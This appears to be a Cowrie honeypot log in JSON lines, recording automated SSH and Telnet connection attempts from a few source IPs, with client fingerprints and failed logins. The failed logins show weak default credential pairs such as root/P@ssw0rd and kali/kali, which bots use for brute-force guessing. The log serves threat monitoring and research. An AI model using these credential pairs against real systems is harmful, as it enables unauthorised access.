{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:38.351797Z","src_ip":"45.156.87.254","session":"e8599fd31847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:38.601530Z","src_ip":"45.156.87.254","session":"e8599fd31847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:39.688070Z","src_ip":"45.156.87.254","session":"e8599fd31847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55540,"dst_ip":"159.203.135.109","dst_port":22,"session":"c249f2b4917a","protocol":"ssh","message":"New connection: 45.156.87.254:55540 (159.203.135.109:22) [session: c249f2b4917a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:42.483013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:42.487416Z","src_ip":"45.156.87.254","session":"c249f2b4917a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:42.574183Z","src_ip":"45.156.87.254","session":"c249f2b4917a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:43.021142Z","src_ip":"45.156.87.254","session":"c249f2b4917a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:44.107095Z","src_ip":"45.156.87.254","session":"c249f2b4917a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55562,"dst_ip":"159.203.135.109","dst_port":22,"session":"651087dab1f2","protocol":"ssh","message":"New connection: 45.156.87.254:55562 (159.203.135.109:22) [session: 651087dab1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:47.069877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:47.074912Z","src_ip":"45.156.87.254","session":"651087dab1f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:47.157450Z","src_ip":"45.156.87.254","session":"651087dab1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:47.408026Z","src_ip":"45.156.87.254","session":"651087dab1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:48.493925Z","src_ip":"45.156.87.254","session":"651087dab1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.07434558868408,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:49.375733Z","src_ip":"20.123.41.163","session":"5ae398d15196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60308,"dst_ip":"159.203.135.109","dst_port":22,"session":"be86e9aaaff4","protocol":"ssh","message":"New connection: 45.156.87.254:60308 (159.203.135.109:22) [session: be86e9aaaff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:51.716922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:51.724957Z","src_ip":"45.156.87.254","session":"be86e9aaaff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:51.815764Z","src_ip":"45.156.87.254","session":"be86e9aaaff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:52.087601Z","src_ip":"45.156.87.254","session":"be86e9aaaff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":38690,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bde282fb0ab","protocol":"ssh","message":"New connection: 186.30.115.187:38690 (10.17.0.5:22) [session: 2bde282fb0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:53.171000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:53.176299Z","src_ip":"186.30.115.187","session":"2bde282fb0ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:53.179989Z","src_ip":"45.156.87.254","session":"be86e9aaaff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:53.273161Z","src_ip":"186.30.115.187","session":"2bde282fb0ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfasdf","message":"login attempt [ubuntu/asdfasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:53.690429Z","src_ip":"186.30.115.187","session":"2bde282fb0ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:54.789469Z","src_ip":"186.30.115.187","session":"2bde282fb0ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60312,"dst_ip":"159.203.135.109","dst_port":22,"session":"07ff6d64d125","protocol":"ssh","message":"New connection: 45.156.87.254:60312 (159.203.135.109:22) [session: 07ff6d64d125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:56.357504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:56.361982Z","src_ip":"45.156.87.254","session":"07ff6d64d125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:56.444355Z","src_ip":"45.156.87.254","session":"07ff6d64d125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:56.697139Z","src_ip":"45.156.87.254","session":"07ff6d64d125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:57.894323Z","src_ip":"45.156.87.254","session":"07ff6d64d125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52166,"dst_ip":"10.17.0.5","dst_port":23,"session":"c44dc031cd3b","protocol":"telnet","message":"New connection: 104.245.105.2:52166 (10.17.0.5:23) [session: c44dc031cd3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:58.100286Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42416,"dst_ip":"159.203.135.109","dst_port":22,"session":"4321d8a93b70","protocol":"ssh","message":"New connection: 45.156.87.254:42416 (159.203.135.109:22) [session: 4321d8a93b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:00.616782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:00.621588Z","src_ip":"45.156.87.254","session":"4321d8a93b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:00.704925Z","src_ip":"45.156.87.254","session":"4321d8a93b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:00.956460Z","src_ip":"45.156.87.254","session":"4321d8a93b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:02.043978Z","src_ip":"45.156.87.254","session":"4321d8a93b70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42424,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc76ea253df9","protocol":"ssh","message":"New connection: 45.156.87.254:42424 (159.203.135.109:22) [session: cc76ea253df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:05.098318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:05.105498Z","src_ip":"45.156.87.254","session":"cc76ea253df9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:05.310454Z","src_ip":"45.156.87.254","session":"cc76ea253df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":55076,"dst_ip":"10.17.0.5","dst_port":23,"session":"a357f9b6d2da","protocol":"telnet","message":"New connection: 20.123.41.163:55076 (10.17.0.5:23) [session: a357f9b6d2da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:05.432189Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:05.621711Z","src_ip":"45.156.87.254","session":"cc76ea253df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:06.710052Z","src_ip":"45.156.87.254","session":"cc76ea253df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":33790,"dst_ip":"159.203.135.109","dst_port":22,"session":"51a27e89becd","protocol":"ssh","message":"New connection: 45.156.87.254:33790 (159.203.135.109:22) [session: 51a27e89becd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:09.751919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:09.757528Z","src_ip":"45.156.87.254","session":"51a27e89becd","protocol":"ssh"}
